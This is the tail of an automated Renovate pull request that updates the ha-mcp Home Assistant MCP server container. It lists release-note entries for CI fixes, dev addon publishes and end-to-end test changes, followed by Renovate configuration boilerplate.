##### Fixed

- **ci**: Align pr.yml E2E with --dist loadscope ([#&#8203;1206](homeassistant-ai/ha-mcp#1206))
  ([#&#8203;1247](homeassistant-ai/ha-mcp#1247))
- **ci**: Switch Renovate to a GitHub App token to allow workflow-file pushes
  ([#&#8203;1229](homeassistant-ai/ha-mcp#1229))
- **ci**: Break gemini-triage retrigger loop and bump turn budget
  ([#&#8203;1131](homeassistant-ai/ha-mcp#1131))
- **ci**: Harden gemini-triage so failures stop spamming user issues
  ([#&#8203;1122](homeassistant-ai/ha-mcp#1122))
- **ci**: Unbreak hotfix-release semantic-release run
  ([#&#8203;1091](homeassistant-ai/ha-mcp#1091))

##### Chores

- **addon**: Publish dev addon version 7.4.1.dev299 \[skip ci]
  ([`397aa6d`](homeassistant-ai/ha-mcp@397aa6d))
- **addon**: Publish dev addon version 7.4.1.dev298 \[skip ci]
  ([`942b7e0`](homeassistant-ai/ha-mcp@942b7e0))
- Sync tool docs after merge \[skip ci]
  ([`6823c47`](homeassistant-ai/ha-mcp@6823c47))
- **addon**: Publish dev addon version 7.4.1.dev297 \[skip ci]
  ([`6eac062`](homeassistant-ai/ha-mcp@6eac062))
- **addon**: Publish dev addon version 7.4.1.dev296 \[skip ci]
  ([`b2afe93`](homeassistant-ai/ha-mcp@b2afe93))
- **addon**: Publish dev addon version 7.4.1.dev295 \[skip ci]
  ([`4f4c4f3`](homeassistant-ai/ha-mcp@4f4c4f3))
- **deps**: Update ghcr.io/home-assistant/home-assistant docker tag to v2026.5.1
  ([#&#8203;1236](homeassistant-ai/ha-mcp#1236))
- **addon**: Publish dev addon version 7.4.1.dev294 \[skip ci]
  ([`fd24991`](homeassistant-ai/ha-mcp@fd24991))
- **deps**: Update ghcr.io/astral-sh/uv docker tag to v0.11.13
  ([#&#8203;1233](homeassistant-ai/ha-mcp#1233))
- **addon**: Publish dev addon version 7.4.1.dev293 \[skip ci]
  ([`fcc6496`](homeassistant-ai/ha-mcp@fcc6496))
- **addon**: Publish dev addon version 7.4.1.dev292 \[skip ci]
  ([`2961650`](homeassistant-ai/ha-mcp@2961650))
- **addon**: Publish dev addon version 7.4.1.dev291 \[skip ci]
  ([`5703112`](homeassistant-ai/ha-mcp@5703112))
- **addon**: Publish dev addon version 7.4.1.dev290 \[skip ci]
  ([`19b2f65`](homeassistant-ai/ha-mcp@19b2f65))
- **addon**: Publish dev addon version 7.4.1.dev289 \[skip ci]
  ([`e5a1365`](homeassistant-ai/ha-mcp@e5a1365))
- Sync tool docs after merge \[skip ci]
  ([`d2ff93b`](homeassistant-ai/ha-mcp@d2ff93b))
- **addon**: Publish dev addon version 7.4.1.dev288 \[skip ci]
  ([`0f62400`](homeassistant-ai/ha-mcp@0f62400))
- Sync tool docs after merge \[skip ci]
  ([`c7e2066`](homeassistant-ai/ha-mcp@c7e2066))
- **addon**: Publish dev addon version 7.4.1.dev287 \[skip ci]
  ([`c1133d4`](homeassistant-ai/ha-mcp@c1133d4))
- **addon**: Publish dev addon version 7.4.1.dev286 \[skip ci]
  ([`1ae790e`](homeassistant-ai/ha-mcp@1ae790e))
- **addon**: Publish dev addon version 7.4.1.dev285 \[skip ci]
  ([`2387d0c`](homeassistant-ai/ha-mcp@2387d0c))
- **addon**: Publish dev addon version 7.4.1.dev284 \[skip ci]
  ([`dd3a4a5`](homeassistant-ai/ha-mcp@dd3a4a5))
- **addon**: Publish dev addon version 7.4.1.dev283 \[skip ci]
  ([`78af8eb`](homeassistant-ai/ha-mcp@78af8eb))
- Sync tool docs after merge \[skip ci]
  ([`093fd74`](homeassistant-ai/ha-mcp@093fd74))
- **addon**: Publish dev addon version 7.4.1.dev282 \[skip ci]
  ([`2141e15`](homeassistant-ai/ha-mcp@2141e15))
- Sync tool docs after merge \[skip ci]
  ([`7810c95`](homeassistant-ai/ha-mcp@7810c95))
- **addon**: Publish dev addon version 7.4.1.dev281 \[skip ci]
  ([`7d79ec2`](homeassistant-ai/ha-mcp@7d79ec2))
- Sync tool docs after merge \[skip ci]
  ([`a73dc81`](homeassistant-ai/ha-mcp@a73dc81))
- **addon**: Publish dev addon version 7.4.1.dev280 \[skip ci]
  ([`c858ce3`](homeassistant-ai/ha-mcp@c858ce3))
- Sync tool docs after merge \[skip ci]
  ([`a587be0`](homeassistant-ai/ha-mcp@a587be0))
- **addon**: Publish dev addon version 7.4.1.dev279 \[skip ci]
  ([`b78ddb2`](homeassistant-ai/ha-mcp@b78ddb2))
- Sync tool docs after merge \[skip ci]
  ([`1210725`](homeassistant-ai/ha-mcp@1210725))
- **addon**: Publish dev addon version 7.4.1.dev278 \[skip ci]
  ([`a282c17`](homeassistant-ai/ha-mcp@a282c17))
- **addon**: Publish dev addon version 7.4.1.dev277 \[skip ci]
  ([`1081768`](homeassistant-ai/ha-mcp@1081768))
- Sync tool docs after merge \[skip ci]
  ([`e03f5d2`](homeassistant-ai/ha-mcp@e03f5d2))
- **addon**: Publish dev addon version 7.4.1.dev276 \[skip ci]
  ([`c4ef680`](homeassistant-ai/ha-mcp@c4ef680))
- **addon**: Publish dev addon version 7.4.1.dev275 \[skip ci]
  ([`780422d`](homeassistant-ai/ha-mcp@780422d))
- Sync tool docs after merge \[skip ci]
  ([`8a2bd1a`](homeassistant-ai/ha-mcp@8a2bd1a))
- **addon**: Publish dev addon version 7.4.1.dev274 \[skip ci]
  ([`f0f09de`](homeassistant-ai/ha-mcp@f0f09de))
- **addon**: Publish dev addon version 7.4.1.dev273 \[skip ci]
  ([`cb49f68`](homeassistant-ai/ha-mcp@cb49f68))
- **addon**: Publish dev addon version 7.4.1.dev272 \[skip ci]
  ([`5097186`](homeassistant-ai/ha-mcp@5097186))
- **addon**: Publish dev addon version 7.4.1.dev271 \[skip ci]
  ([`4714342`](homeassistant-ai/ha-mcp@4714342))
- **addon**: Publish dev addon version 7.4.1.dev270 \[skip ci]
  ([`217982a`](homeassistant-ai/ha-mcp@217982a))
- **addon**: Publish dev addon version 7.4.1.dev269 \[skip ci]
  ([`a65dd5f`](homeassistant-ai/ha-mcp@a65dd5f))
- Sync tool docs after merge \[skip ci]
  ([`0e6b54f`](homeassistant-ai/ha-mcp@0e6b54f))
- **addon**: Publish dev addon version 7.4.1.dev268 \[skip ci]
  ([`60ba1f2`](homeassistant-ai/ha-mcp@60ba1f2))
- **addon**: Publish dev addon version 7.4.1.dev267 \[skip ci]
  ([`13412aa`](homeassistant-ai/ha-mcp@13412aa))
- Sync tool docs after merge \[skip ci]
  ([`2702a0f`](homeassistant-ai/ha-mcp@2702a0f))
- **addon**: Publish dev addon version 7.4.1.dev266 \[skip ci]
  ([`77abe0b`](homeassistant-ai/ha-mcp@77abe0b))
- **addon**: Publish dev addon version 7.4.1.dev265 \[skip ci]
  ([`08b69db`](homeassistant-ai/ha-mcp@08b69db))
- Sync tool docs after merge \[skip ci]
  ([`c1f24b5`](homeassistant-ai/ha-mcp@c1f24b5))
- **addon**: Publish dev addon version 7.4.1.dev264 \[skip ci]
  ([`f2583f6`](homeassistant-ai/ha-mcp@f2583f6))
- Sync tool docs after merge \[skip ci]
  ([`c2ed2d3`](homeassistant-ai/ha-mcp@c2ed2d3))
- **addon**: Publish dev addon version 7.4.1.dev263 \[skip ci]
  ([`9d43e54`](homeassistant-ai/ha-mcp@9d43e54))
- **addon**: Publish dev addon version 7.4.1.dev262 \[skip ci]
  ([`a7355c8`](homeassistant-ai/ha-mcp@a7355c8))
- Sync tool docs after merge \[skip ci]
  ([`085bd8a`](homeassistant-ai/ha-mcp@085bd8a))
- Convert agents to skills
  ([#&#8203;1084](homeassistant-ai/ha-mcp#1084))
- **addon**: Publish dev addon version 7.4.1.dev261 \[skip ci]
  ([`0d1af36`](homeassistant-ai/ha-mcp@0d1af36))
- **addon**: Publish dev addon version 7.4.1.dev260 \[skip ci]
  ([`29397dc`](homeassistant-ai/ha-mcp@29397dc))
- **addon**: Publish dev addon version 7.4.1.dev259 \[skip ci]
  ([`4bbc74b`](homeassistant-ai/ha-mcp@4bbc74b))
- Sync tool docs after merge \[skip ci]
  ([`0f6d41e`](homeassistant-ai/ha-mcp@0f6d41e))
- **addon**: Publish dev addon version 7.4.1.dev258 \[skip ci]
  ([`6751d08`](homeassistant-ai/ha-mcp@6751d08))
- **addon**: Publish dev addon version 7.4.1.dev257 \[skip ci]
  ([`2213c89`](homeassistant-ai/ha-mcp@2213c89))
- **addon**: Publish dev addon version 7.4.1.dev256 \[skip ci]
  ([`18a366e`](homeassistant-ai/ha-mcp@18a366e))
- **addon**: Publish dev addon version 7.4.1.dev255 \[skip ci]
  ([`0e9b18d`](homeassistant-ai/ha-mcp@0e9b18d))
- **addon**: Publish dev addon version 7.4.1.dev254 \[skip ci]
  ([`39fc65b`](homeassistant-ai/ha-mcp@39fc65b))
- Sync tool docs after merge \[skip ci]
  ([`9fa0aea`](homeassistant-ai/ha-mcp@9fa0aea))
- **addon**: Publish dev addon version 7.4.1.dev253 \[skip ci]
  ([`0dcc59e`](homeassistant-ai/ha-mcp@0dcc59e))
- Sync tool docs after merge \[skip ci]
  ([`ec7413f`](homeassistant-ai/ha-mcp@ec7413f))
- **addon**: Publish dev addon version 7.4.1.dev252 \[skip ci]
  ([`345640c`](homeassistant-ai/ha-mcp@345640c))
- **addon**: Publish dev addon version 7.4.1.dev251 \[skip ci]
  ([`bab9d49`](homeassistant-ai/ha-mcp@bab9d49))
- Sync tool docs after merge \[skip ci]
  ([`726f0a5`](homeassistant-ai/ha-mcp@726f0a5))
- **addon**: Publish dev addon version 7.4.1.dev250 \[skip ci]
  ([`ded04ea`](homeassistant-ai/ha-mcp@ded04ea))
- **addon**: Publish dev addon version 7.4.1.dev249 \[skip ci]
  ([`37d5628`](homeassistant-ai/ha-mcp@37d5628))
- **addon**: Publish dev addon version 7.4.1.dev248 \[skip ci]
  ([`530786a`](homeassistant-ai/ha-mcp@530786a))
- Sync tool docs after merge \[skip ci]
  ([`36719c3`](homeassistant-ai/ha-mcp@36719c3))
- **addon**: Publish dev addon version 7.4.1.dev247 \[skip ci]
  ([`4dc47b5`](homeassistant-ai/ha-mcp@4dc47b5))
- **addon**: Publish dev addon version 7.4.1.dev246 \[skip ci]
  ([`6ffbd6a`](homeassistant-ai/ha-mcp@6ffbd6a))
- Sync tool docs after merge \[skip ci]
  ([`add66e3`](homeassistant-ai/ha-mcp@add66e3))
- **addon**: Publish dev addon version 7.4.1.dev245 \[skip ci]
  ([`d0114af`](homeassistant-ai/ha-mcp@d0114af))
- Sync tool docs after merge \[skip ci]
  ([`0ca41af`](homeassistant-ai/ha-mcp@0ca41af))
- **addon**: Publish dev addon version 7.4.1.dev244 \[skip ci]
  ([`d052dd0`](homeassistant-ai/ha-mcp@d052dd0))
- **addon**: Publish dev addon version 7.4.0.dev243 \[skip ci]
  ([`827bc65`](homeassistant-ai/ha-mcp@827bc65))
- Bump package version to 7.4.1 to match released addon
  ([`4f65497`](homeassistant-ai/ha-mcp@4f65497))
- **addon**: Publish dev addon version 7.4.0.dev242 \[skip ci]
  ([`8ba80ae`](homeassistant-ai/ha-mcp@8ba80ae))
- **addon**: Publish hotfix version 7.4.1
  ([`bda75e6`](homeassistant-ai/ha-mcp@bda75e6))
- **addon**: Publish dev addon version 7.4.0.dev241 \[skip ci]
  ([`2126428`](homeassistant-ai/ha-mcp@2126428))

##### Continuous Integration

- **deps**: Bump renovatebot/github-action in the github-actions group
  ([#&#8203;1218](homeassistant-ai/ha-mcp#1218))
- **deps**: Bump renovatebot/github-action in the github-actions group
  ([#&#8203;1111](homeassistant-ai/ha-mcp#1111))

##### Refactoring

- Extract \_fetch\_dashboards\_list helper ([#&#8203;1193](homeassistant-ai/ha-mcp#1193))
  ([#&#8203;1207](homeassistant-ai/ha-mcp#1207))

##### Testing

- **e2e**: Module-scope bulk\_automations + bulk\_scripts fixtures (refs [#&#8203;366](homeassistant-ai/ha-mcp#366))
  ([#&#8203;1275](homeassistant-ai/ha-mcp#1275))
- **e2e**: Lower INPUT\_BOOLEAN\_WAIT from 30s to 10s (refs [#&#8203;366](homeassistant-ai/ha-mcp#366))
  ([#&#8203;1273](homeassistant-ai/ha-mcp#1273))
- **e2e**: Generalize readiness-gate diagnostics helper (closes [#&#8203;1267](homeassistant-ai/ha-mcp#1267))
  ([#&#8203;1271](homeassistant-ai/ha-mcp#1271))
- **e2e**: Narrow except clauses in e2e polling helpers (closes [#&#8203;1266](homeassistant-ai/ha-mcp#1266))
  ([#&#8203;1270](homeassistant-ai/ha-mcp#1270))
- **e2e**: Drop ha\_mcp\_tools retry-path + pre-install manifest requirements
  ([#&#8203;1268](homeassistant-ai/ha-mcp#1268))
- **e2e**: Instrument and retry ha\_mcp\_tools readiness wait
  ([#&#8203;1262](homeassistant-ai/ha-mcp#1262))
- Use time.monotonic() in UAT runner and test\_env\_manager
  ([#&#8203;1254](homeassistant-ai/ha-mcp#1254))
- **e2e**: Detect partial/corrupt hacs\_frontend dir in fast-path guard
  ([#&#8203;1253](homeassistant-ai/ha-mcp#1253))
- **e2e**: Remove unused wait/assert helpers ([post-#&#8203;1249](https://github.com/post-/ha-mcp/issues/1249) audit)
  ([#&#8203;1256](homeassistant-ai/ha-mcp#1256))
- **e2e**: Clear stale .hacs\_frontend.lock from prior crashed runs
  ([#&#8203;1252](homeassistant-ai/ha-mcp#1252))
- **e2e**: Use time.monotonic() in workflow polling loops
  ([#&#8203;1258](homeassistant-ai/ha-mcp#1258))
- **e2e**: Use time.monotonic() for duration polling ([#&#8203;1234](homeassistant-ai/ha-mcp#1234))
  ([#&#8203;1249](homeassistant-ai/ha-mcp#1249))
- **e2e**: Close ARM ha\_mcp\_tools readiness race under loadscope
  ([#&#8203;1208](homeassistant-ai/ha-mcp#1208))
- **hacs**: Tighten is\_hacs\_unavailable to not match legitimate "Repository not found"
  ([#&#8203;1246](homeassistant-ai/ha-mcp#1246))
- **seed**: Unblock 3 silent-skip pagination/state tests via baked recorder DB
  ([#&#8203;1240](homeassistant-ai/ha-mcp#1240))
- **seed**: Register a writable local\_calendar to unblock event-creation test
  ([#&#8203;1243](homeassistant-ai/ha-mcp#1243))
- **addon**: Fix base64 padding-bit flake in token tamper tests ([#&#8203;1238](homeassistant-ai/ha-mcp#1238))
  ([#&#8203;1241](homeassistant-ai/ha-mcp#1241))
- **seed**: Add a writable scene for test\_call\_service\_scene\_turn\_on
  ([#&#8203;1231](homeassistant-ai/ha-mcp#1231))
- **seed**: Assign demo device to living\_room area for filter test
  ([#&#8203;1230](homeassistant-ai/ha-mcp#1230))
- **e2e**: Drop nonexistent sun service from session readiness wait
  ([#&#8203;1227](homeassistant-ai/ha-mcp#1227))
- **e2e**: Self-contain dashboard register/remove to fix ARM xdist race ([#&#8203;1196](homeassistant-ai/ha-mcp#1196))
  ([#&#8203;1201](homeassistant-ai/ha-mcp#1201))
- Fix EN dash in docstring causing RUF002 lint failure
  ([`eac5916`](homeassistant-ai/ha-mcp@eac5916))
- Address Gemini review feedback on host detection and port allocation
  ([`960305e`](homeassistant-ai/ha-mcp@960305e))
- Fix three categories of E2E test flakiness
  ([`39417ff`](homeassistant-ai/ha-mcp@39417ff))
- **e2e**: Pin config\_hash stability for dashboards
  ([#&#8203;1132](homeassistant-ai/ha-mcp#1132))

</details>

</details>

---

### Configuration

📅 **Schedule**: (in timezone America/New_York)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNjAuNyIsInVwZGF0ZWRJblZlciI6IjQzLjE2MC43IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZS9jb250YWluZXIiLCJ0eXBlL21pbm9yIl19-->

Co-authored-by: todd <tpunderson@greyrock.io>
Reviewed-on: https://git.greyrock.io/greyrock-labs/home-ops/pulls/26
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

feat: CodeMode sandbox tool for custom one-off tools, and multi-step tool chaining

2 participants